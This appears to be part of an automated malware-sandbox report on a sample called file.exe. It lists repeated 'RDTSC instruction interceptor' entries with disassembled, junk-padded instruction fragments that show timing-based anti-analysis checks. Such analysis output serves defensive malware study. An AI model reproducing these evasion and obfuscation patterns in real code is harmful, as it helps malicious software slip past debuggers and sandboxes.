Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803C7 second address: 4C803DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7F8876E1FBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C803DD second address: 4C80433 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [75C74538h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F7F8931B068h 0x00000018 sub ax, C328h 0x0000001d jmp 00007F7F8931B05Bh 0x00000022 popfd 0x00000023 call 00007F7F8931B068h 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80433 second address: 4C8044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8876E207h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8044E second address: 4C80452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80452 second address: 4C804A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b jmp 00007F7F8876E205h 0x00000010 xor eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F7F8876E208h 0x0000001b add ah, 00000078h 0x0000001e jmp 00007F7F8876E1FBh 0x00000023 popfd 0x00000024 movzx esi, dx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804A3 second address: 4C80553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e movsx edx, cx 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F7F8931B065h 0x00000018 nop 0x00000019 pushad 0x0000001a mov di, ax 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F7F8931B061h 0x0000002b sub esi, 63A2B8D6h 0x00000031 jmp 00007F7F8931B061h 0x00000036 popfd 0x00000037 jmp 00007F7F8931B060h 0x0000003c popad 0x0000003d mov dword ptr fs:[00000000h], eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F7F8931B05Dh 0x0000004c add eax, 5740BCE6h 0x00000052 jmp 00007F7F8931B061h 0x00000057 popfd 0x00000058 mov bx, cx 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80553 second address: 4C80559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80559 second address: 4C80642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-18h], esp 0x0000000e jmp 00007F7F8931B066h 0x00000013 mov eax, dword ptr fs:[00000018h] 0x00000019 pushad 0x0000001a mov dx, ax 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 mov ecx, dword ptr [eax+00000FDCh] 0x00000027 pushad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007F7F8931B067h 0x00000031 or cl, FFFFFFDEh 0x00000034 jmp 00007F7F8931B069h 0x00000039 popfd 0x0000003a popad 0x0000003b jmp 00007F7F8931B060h 0x00000040 popad 0x00000041 test ecx, ecx 0x00000043 jmp 00007F7F8931B060h 0x00000048 jns 00007F7F8931B0A9h 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007F7F8931B05Eh 0x00000055 jmp 00007F7F8931B065h 0x0000005a popfd 0x0000005b movzx esi, bx 0x0000005e popad 0x0000005f add eax, ecx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F7F8931B066h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80642 second address: 4C80691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov ecx, 5E4BE55Bh 0x00000012 pushfd 0x00000013 jmp 00007F7F8876E200h 0x00000018 sub al, 00000028h 0x0000001b jmp 00007F7F8876E1FBh 0x00000020 popfd 0x00000021 popad 0x00000022 test ecx, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F7F8876E200h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80691 second address: 4C80697 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80697 second address: 4C806A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8876E1FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C806A8 second address: 4C806AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7005F second address: 4C70063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70063 second address: 4C70069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70069 second address: 4C700A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 pushfd 0x00000006 jmp 00007F7F8876E206h 0x0000000b xor ecx, 1E4B1178h 0x00000011 jmp 00007F7F8876E1FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov ax, CFC1h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C700A2 second address: 4C70109 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7F8931B05Eh 0x00000008 jmp 00007F7F8931B065h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov cx, 4487h 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007F7F8931B05Ah 0x0000001c sub esp, 2Ch 0x0000001f jmp 00007F7F8931B060h 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F7F8931B067h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70109 second address: 4C70132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dl, 1Fh 0x0000000d popad 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70132 second address: 4C70136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70136 second address: 4C7013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7013C second address: 4C70154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B064h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C701D5 second address: 4C701F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C701F2 second address: 4C70202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B05Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70202 second address: 4C70206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70294 second address: 4C702A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C702E0 second address: 4C7033D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E202h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007F7F8876E200h 0x00000010 jg 00007F7FF971C37Ah 0x00000016 jmp 00007F7F8876E200h 0x0000001b js 00007F7F8876E26Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F7F8876E207h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7033D second address: 4C7038E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 call 00007F7F8931B069h 0x00000015 movzx ecx, dx 0x00000018 pop edi 0x00000019 popad 0x0000001a jne 00007F7FFA2C9172h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 movsx edi, cx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7038E second address: 4C703BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 696Eh 0x00000007 mov edx, 084DAE7Ah 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebx, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F7F8876E208h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703BE second address: 4C7042F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7F8931B061h 0x00000009 or esi, 3B4F7056h 0x0000000f jmp 00007F7F8931B061h 0x00000014 popfd 0x00000015 mov bl, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-2Ch] 0x0000001d jmp 00007F7F8931B063h 0x00000022 xchg eax, esi 0x00000023 jmp 00007F7F8931B066h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F7F8931B05Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7042F second address: 4C70434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70434 second address: 4C704B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B067h 0x00000008 mov si, 716Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, esi 0x00000010 jmp 00007F7F8931B062h 0x00000015 nop 0x00000016 jmp 00007F7F8931B060h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f movzx esi, di 0x00000022 pushfd 0x00000023 jmp 00007F7F8931B069h 0x00000028 sub al, FFFFFFE6h 0x0000002b jmp 00007F7F8931B061h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704B0 second address: 4C704CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E201h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, dx 0x00000010 mov bl, C5h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704CF second address: 4C704D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704D5 second address: 4C704D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704D9 second address: 4C704EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7F8931B05Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704EF second address: 4C7051E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F8876E1FDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7051E second address: 4C70524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70524 second address: 4C70528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70565 second address: 4C60D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 mov di, 49E4h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f jmp 00007F7F8931B063h 0x00000014 je 00007F7FFA2C9124h 0x0000001a xor eax, eax 0x0000001c jmp 00007F7F892F478Ah 0x00000021 pop esi 0x00000022 pop edi 0x00000023 pop ebx 0x00000024 leave 0x00000025 retn 0004h 0x00000028 nop 0x00000029 sub esp, 04h 0x0000002c mov esi, eax 0x0000002e cmp esi, 00000000h 0x00000031 setne al 0x00000034 xor ebx, ebx 0x00000036 test al, 01h 0x00000038 jne 00007F7F8931B057h 0x0000003a jmp 00007F7F8931B19Bh 0x0000003f call 00007F7F8D404B3Ch 0x00000044 mov edi, edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60D4B second address: 4C60D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60D4F second address: 4C60D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60D55 second address: 4C60D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60D5B second address: 4C60D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60D5F second address: 4C60D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60D63 second address: 4C60DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d mov ax, di 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ecx, 74E29AA9h 0x00000018 movzx esi, bx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov bl, 75h 0x00000020 pushad 0x00000021 mov di, ax 0x00000024 mov cx, 1951h 0x00000028 popad 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F7F8931B05Ch 0x00000031 xchg eax, ecx 0x00000032 jmp 00007F7F8931B060h 0x00000037 push eax 0x00000038 jmp 00007F7F8931B05Bh 0x0000003d xchg eax, ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F7F8931B065h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60E08 second address: 4C7082D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E205h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F7F8876E1FEh 0x0000000f ret 0x00000010 nop 0x00000011 and bl, 00000001h 0x00000014 movzx eax, bl 0x00000017 add esp, 2Ch 0x0000001a pop esi 0x0000001b pop edi 0x0000001c pop ebx 0x0000001d pop ebp 0x0000001e ret 0x0000001f add esp, 04h 0x00000022 mov eax, dword ptr [esi+04h] 0x00000025 mov eax, dword ptr [00B8A3ACh+eax*4] 0x0000002c mov ecx, EDD7CB46h 0x00000031 xor ecx, dword ptr [00B8A3B4h] 0x00000037 add eax, ecx 0x00000039 inc eax 0x0000003a jmp eax 0x0000003c push ebx 0x0000003d call 00007F7F88797386h 0x00000042 push ebp 0x00000043 push ebx 0x00000044 push edi 0x00000045 push esi 0x00000046 sub esp, 00000218h 0x0000004c mov esi, dword ptr [esp+0000022Ch] 0x00000053 mov dword ptr [esp+000001FCh], 00B8C390h 0x0000005e mov dword ptr [esp+000001F8h], 000000B6h 0x00000069 mov dword ptr [esp], 00000000h 0x00000070 mov eax, dword ptr [00B87D58h] 0x00000075 call eax 0x00000077 mov edi, edi 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F7F8876E1FAh 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7082D second address: 4C70833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70833 second address: 4C70867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7F8876E200h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7F8876E1FEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70867 second address: 4C7086D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7086D second address: 4C708EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F7F8876E209h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F7F8876E1FEh 0x00000015 cmp dword ptr [75C7459Ch], 05h 0x0000001c jmp 00007F7F8876E200h 0x00000021 je 00007F7FF970C33Fh 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a movsx edx, cx 0x0000002d pushfd 0x0000002e jmp 00007F7F8876E206h 0x00000033 adc esi, 28B98DA8h 0x00000039 jmp 00007F7F8876E1FBh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C708EC second address: 4C70910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70910 second address: 4C70916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70916 second address: 4C7091C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A2F second address: 4C80A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A35 second address: 4C80A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A39 second address: 4C80A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A3D second address: 4C80A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F7F8931B066h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 popad 0x00000013 mov esi, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 mov si, 21DBh 0x0000001b mov dx, si 0x0000001e popad 0x0000001f test esi, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A75 second address: 4C80A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A79 second address: 4C80A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80A7F second address: 4C80AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F7FF96FBB1Ch 0x0000000f jmp 00007F7F8876E200h 0x00000014 cmp dword ptr [75C7459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e movsx ebx, si 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80AB5 second address: 4C80ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80ABB second address: 4C80B20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F7FF9713BC0h 0x00000011 pushad 0x00000012 mov eax, 6431CFBDh 0x00000017 pushfd 0x00000018 jmp 00007F7F8876E1FAh 0x0000001d sub cx, B398h 0x00000022 jmp 00007F7F8876E1FBh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a jmp 00007F7F8876E206h 0x0000002f push eax 0x00000030 jmp 00007F7F8876E1FBh 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B20 second address: 4C80B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B24 second address: 4C80B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E207h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80B3F second address: 4C80B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B064h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BA5 second address: 4C80BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80BAB second address: 4C80BC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEE5BF second address: 5DEE5C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5A8DC second address: 5F5A8EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B05Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5A8EC second address: 5F5A8F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7F8876E1F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5A8F8 second address: 5F5A908 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F66106 second address: 5F6610C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6610C second address: 5F66110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F66110 second address: 5F6612C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E208h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
